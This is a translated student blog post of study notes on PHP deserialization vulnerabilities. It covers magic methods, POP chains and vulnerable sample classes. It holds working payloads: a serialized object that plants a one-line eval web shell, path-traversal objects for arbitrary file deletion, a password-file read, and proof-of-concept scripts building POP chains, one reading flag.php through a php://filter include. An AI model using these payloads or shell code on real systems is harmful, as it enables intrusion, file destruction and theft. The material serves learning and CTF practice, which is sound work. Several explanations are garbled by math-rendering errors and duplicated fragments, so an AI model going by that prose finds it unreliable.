PHP deserialization vulnerability learning--2023/03/19-22

Detailed explanation of deserialization vulnerability

There are a few classes on Monday and Wednesday, and Bi She is also working hard to promote qwq recently, so I just watched a little bit in these two days.

Be sure to watch more every Thursday to Sunday! ! ! ! ! ! ! ! ! !

Detailed explanation of deserialization vulnerability_One sentence Trojan blog-CSDN blog

Detailed explanation of deserialization vulnerabilities - FreeBuf network security industry portal

1) Introduction to deserialization vulnerabilities:

Deserialization vulnerabilities are based on serialization and deserialization operations. There are user-controllable parameters during deserialization - unserialize(), and deserialization will automatically call some magic methods. If there are some sensitive operations in the magic method memory For example, the eval() function, and the parameters are generated by deserialization, then the user can perform sensitive operations by changing the parameters. This is a deserialization vulnerability.

2) Basic knowledge:

  1. What is serialization and deserialization:

The process of converting an object's state information into a form that can be stored or transmitted. During serialization, the object writes the current state to temporary or persistent storage. Later, the object can be recreated by reading or deserializing the object state from the store.

Serialization: The process of converting an object into a sequence of bytes is called serialization of the object. Deserialization is similar to

Functions for serialization and deserialization in PHP:

  • serialize: Returns a string. The string contains a byte stream representing the value and can be stored anywhere. Favorable for storing and passing PHP values ​​without losing their type and structure.
  • unserialize: operates on a single serialized variable and converts it back to a PHP value

3) Magic method:

The unique characteristics of PHP object-oriented, using magic methods can easily achieve overloading in PHP object-oriented.

__construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值
__sleep() 使用serialize()时自动触发
__wakeup() 使用unserialize()时自动触发
__destruct() 当一个对象被销毁时触发
__toString() 当一个类被当成字符串使用时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发

4) Exploitation of deserialization vulnerabilities:

The unserialize() function will automatically call the wakeup() and destruct() functions. When there are some vulnerabilities or malicious code in these functions, they will be triggered when controlling the serialized string, thereby achieving an attack.

  • _destruct() function

    The normal page of the website uses the logfile.php file, and unserialize() is used in the code to deserialize it. The deserialized value is controllable by user input, and the stu object is reconstructed normally.

    Test code:

    <?php 
    	header("content-type:text/html;charset=utf-8");
    	//引用了logfile.php文件
    	include './logfile.php';
    	//定义一个类
    	class Stu
    	{
          
          
    		public $name = 'aa';
    		public $age = 19;
    		function StuData()
    		{
          
          
    			echo '姓名:'.$this->name.'<br>';
    			echo '年龄:'.$this->age;
    		}
    	}
    	//实例化对象
    	$stu = new Stu();
    	//重构用户输入的数据
    	$newstu = unserialize($_GET['stu']);
    	//O:3:"Stu":2:{s:4:"name";s:25:"<script>alert(1)</script>";s:3:"age";i:120;}
    	echo "<pre>";
    	var_dump($newstu) ;
     ?>
    

    logfile.php code:

    <?php 
    	class LogFile
    	{
          
          
    		//日志文件名
    		public $filename = 'error.log';
    		//存储日志文件
    		function LogData($text)
    		{
          
          
    			//输出需要存储的内容
    			echo 'log some data:'.$text.'<br>';
    			file_put_contents($this->filename, $text,FILE_APPEND);
    		}
    		//删除日志文件
    		function __destruct()
    		{
          
          
    			//输出删除的文件
    			echo '析构函数__destruct 删除新建文件'.$this->filename;
    			//绝对路径删除文件
    			unlink(dirname(__FILE__).'/'.$this->filename);
    		}
    	} 
     ?>
    

    Reconstruct the objects contained in the logfile.php file and delete them

    • Normal reconstruction: O:7:"LogFile":1:{s:8:"filename";s:9:"error.log";}

    The destructor _destruct() deletes the newly created file error.log.

    Modify parameters to delete other files

    • Exception reconstruction: O:7:"LogFile":1:{s:8:"filename";s:10:".../ljh.php";}
  • _wakeup()

    Automatically triggered when using unserialize()

    A code index.php, the source code is as follows;

    <?php 
    	class chybeta
    	{
          
          
    		public $test = '123';
    		function __wakeup()
    		{
          
          
    			$fp = fopen("shell.php","w") ;
    			fwrite($fp,$this->test);
    			fclose($fp);
    		}
    	}
    	$class = @$_GET['test'];
    	print_r($class);
    	echo "</br>";
    	$class_unser = unserialize($class);
    	
    	// 为显示效果,把这个shell.php包含进来
        require "shell.php";
     ?>
    

    Incoming parameters:?test=O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}

    Insert image description here

    You can also pass in a sentence Trojan: O:7:"chybeta":1:{s:4:"test";s:25:"<?php eval($_POST[1]); ?>";}

  • _toString()

    Called when a class is treated as a string

    For example, a user class defines a __toString to allow the application to output the class as a string (echo $obj), and other classes may also define a class to allow __toString to read a file. Save the following code as fileread.php. Here is the fileread.php code:

    <?php 
    	//读取文件类
    	class FileRead
    	{
          
          
    		public $filename = 'error.log';
    		function __toString()
    		{
          
          
    			return file_get_contents($this->filename);
    		}
    	}
     ?>
    

    Normal pages in the website should reference the fileread.php file. Unserialize() is used in the code to deserialize, and the deserialized value is controllable by user input.

    <?php 
    	//引用fileread.php文件
    	include './fileread.php';
    	//定义用户类
    	class User
    	{
          
          
    		public $name = 'aa';
    		public $age = 18;
    		function __toString()
    		{
          
          
    			return '姓名:'.$this->name.';'.'年龄:'.$this->age;
    		}
    	}
    	//O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}
    	//反序列化
    	$obj = unserialize($_GET['user']);
    	//当成字符串输出触发toString
    	echo $obj;
     ?>
    

    Reconstruct the class contained in the fileread.php file to read the contents of the password.txt file

    Refactoring: O:8:"FileRead":1:{s:8:"filename";s:12:"password.txt";}
    Insert image description here

5) Vulnerability detection:

The discovery of deserialization vulnerabilities requires auditing the source code and looking for exploitable pop chains.

In the example: automatically calling the magic method to trigger the vulnerability, in reality it is not that simple. It is more about looking for the same function name to connect the attributes of the class with the attributes of the sensitive function.

POP Chain(POP chain)

Concept: Through user-controllable deserialization operations, the triggerable magic method is the starting point. The function in the magic method has the same name in other classes, or other functions that can be called to perform sensitive operations through transfer, association, etc.

User- controlled deserialization → magic method → ​​other functions called in the magic method → ​​function with the same name or by passing a callable function → sensitive operations

  • Example analysis one:
<?php

class Test1{
    
    
protected $obj;
function __construct(){
    
    
$this->obj = new Test3;
}
function __toString(){
    
    
if (isset($this->obj)) return $this->obj->Delete();
}
}
class Test2{
    
      
public $cache_file;
function Delete(){
    
    
$file =/var/www/html/cache/tmp/{
    
    $this->cache_file};
if (file_exists($file)){
    
    
@unlink($file);
}
return 'I am a evil Delete function';
}
}
class Test3{
    
    
function Delete(){
    
    
return 'I am a safe Delete function';
}
}
$user_data = unserialize($_GET['data']);
echo $user_data;
?>

The bottom deserializes the parameter data obtained by GET, and then executes echo userdata, if user_data, ifuserda t a , if user_data is an object instantiated from a class, the __tostring() magic method in the object will be triggered.

Test1:

1. First declare the $obj variable

2. There are __construct() and __tostring() magic methods in the class. The __construct() method is KaTeX parse error: Expected group after '_' at position 22: ...The value is the instantiated object of the Test3 class, and the _̲_tostring() method Determine... The obj variable exists and return to call the Delete() function in the $obj object.

Test2:

1. First declare the $cache_file variable

2. The Delete() function is defined. If the file in the defined $file variable exists, the file will be deleted and the prompt content will be returned.

Test3:

The Delete() function is defined. This function only returns one sentence and has no sensitive operations. It is a safe function.

POP chain structure:

The first starting point is the __tostring() magic method in Test1, which calls the Delete () function in this −> obj, and the Delete() function in this->obj, andthis>o Del e t e ( ) function in bj , and this->obj triggers the __construct method when the object is instantiated. Use $this->obj as the object of the instantiated Test3 class, then Test3 is called at this time . The Delete() function in the class only returns a prompt, then the execution flow at this time is as follows

Test1 class→__construct()→$this->obj=new Test3→__tostring()→Test3.Delete method

However, the Test2 class also defines a function Delete() with the same name as Test3, which constructs specific deserialization parameters to modify the execution flow. After deserialization, use Delete() in the Test2 class to perform sensitive operations.

The construction of the POP chain triggers the _tostring() magic method through deserialization and echo, calling the Delete() method in Test2, causing the harm of arbitrary file deletion.

Utilize POC:

<?php
class Test1{
    
    
protected $obj;
function __construct(){
    
    
$this->obj = new Test2;
}
}
class Test2{
    
    
public $cache_file = '../../../../test.php';
}
$evil = new Test1();
echo urlencode(serialize($evil));
?>

Why is this POC like this?

The php file is the data parameter obtained by executing and deserializing-Get. Here we write the corresponding php code and then serialize it. In POC, Test1() is instantiated, which instantiates Test2() instance. In Test2, the corresponding cache_file file is given after execution.

Trigger the _tostring() function in the object, but at this time the object is already Test2, call the delete() function in Test2. The corresponding file was deleted.

  • Example analysis two:
Welcome to index.php
<?php
//flag is in flag.php
class Modifier {
    
    
protected  $var;
public function append($value){
    
    
include($value);
}
public function __invoke(){
    
    
$this->append($this->var);
}}

class Show{
    
    
public $source;
public $str;
public function __construct($file='index.php'){
    
    
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";}

public function __toString(){
    
    
return $this->str->source;}

public function __wakeup(){
    
    
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
    
    
echo "hacker";
$this->source = "index.php";
}}}

class Test{
    
    
public $p;
public function __construct(){
    
    
$this->p = array();}
public function __get($key){
    
    
$function = $this->p;
return $function();}}

if(isset($_GET['pop'])){
    
    
@unserialize($_GET['pop']);}
else{
    
    
$a=new Show;
highlight_file(__FILE__);
}

The entry point of all codes. When GET receives the pop parameter, it will be deserialized. Otherwise, Show will be instantiated to $a, and then the current file will be highlighted.

Modifier:

  1. First declare the $var variable
  2. The append( value) method is defined , the operation is the include(value) method, the operation is include(v a l u e ) method, the operation is in c l u d e ( value)
  3. The magic method __invoke() is defined. The operation is to call the append method in this class and pass the parameter $this->var.

_invoke() is triggered when an attempt is made to invoke an object by calling a function

Show:

  1. Declared source and source andso u rce and str variables
  2. The magic method __construct( file = ′ index . php ′ ) is declared , and the operation is to file='index.php'), and the operation is tofile=index.php ), the operation is toassign the value to this->source variable to $file

__construct() is triggered when an object is created. It is generally used to initialize the object and assign initial values ​​to variables.

  1. The magic method __toString() is declared, and the operation is to return $this->str->source

__toString() triggered when a class is used as a string

  1. The magic method __wakeup() is declared. The operation is to match the this − > source variable regularly . If it matches, it will assign the value to this->source variable. If it matches, it will assign the value.this>so u rce variable, if matched, assign this->source="index.php"

__wakeup() is automatically triggered when using unserialize()

Test:

  1. $p variable declared
  2. The magic method __construct() is declared, and the operation is assignment $this->p=array()
  3. The magic method __get() is declared, and the operation is assignment function = function=function= this->p, then return $funcion() as a function

__get() is used to read data from inaccessible properties

POP chain structure:

  1. The target obtains the flag, indicating that the flag is in flag.php. The only place to read the flag is the append($value) method. This must be triggered by _invoke. The trigger method of invoke is triggered when an object is called by calling a function.
  2. The _get() method in the Test class just meets this point. Just set this → p as the instance object of modifier, and set this → p as the instance object of modifier. And forthisJust set p to an instance object of modi fier , and the assignment of this→p is controlled by _construct(). Don't worry about it . The initialization is controllable. How to use _get()
  3. If you want to use the __get() magic method in the Test class to trigger when reading data from an inaccessible attribute, then only __toString() in the Show class is suitable. You need to set $this->str to an instance of the Test class. object
  4. The conditions for triggering __toString() are: __toString() is triggered when a class is used as a string, then the preg_match in the __wakeup() magic method in this class can be triggered, that is, KaTeX parse error : Expected group after '_' at position 33: ...the instantiation object of the ow class, which means that you need to set... file as the instantiation object of Show when _̲_construct()

The overall POP chain is as follows;

Modifier::__invoke()<--Test::__get()<--Show::__toString()<--Show::__wakeup()<--Show::__construct()

Leverage POC

<?php
class Modifier {
    
    
protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
    
    
public $source;
public $str;
public function __construct($file){
    
    
$this->source = $file;
}
}

class Test{
    
    
public $p;
}

$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>

Guess you like

Origin blog.csdn.net/m0_53689197/article/details/129720431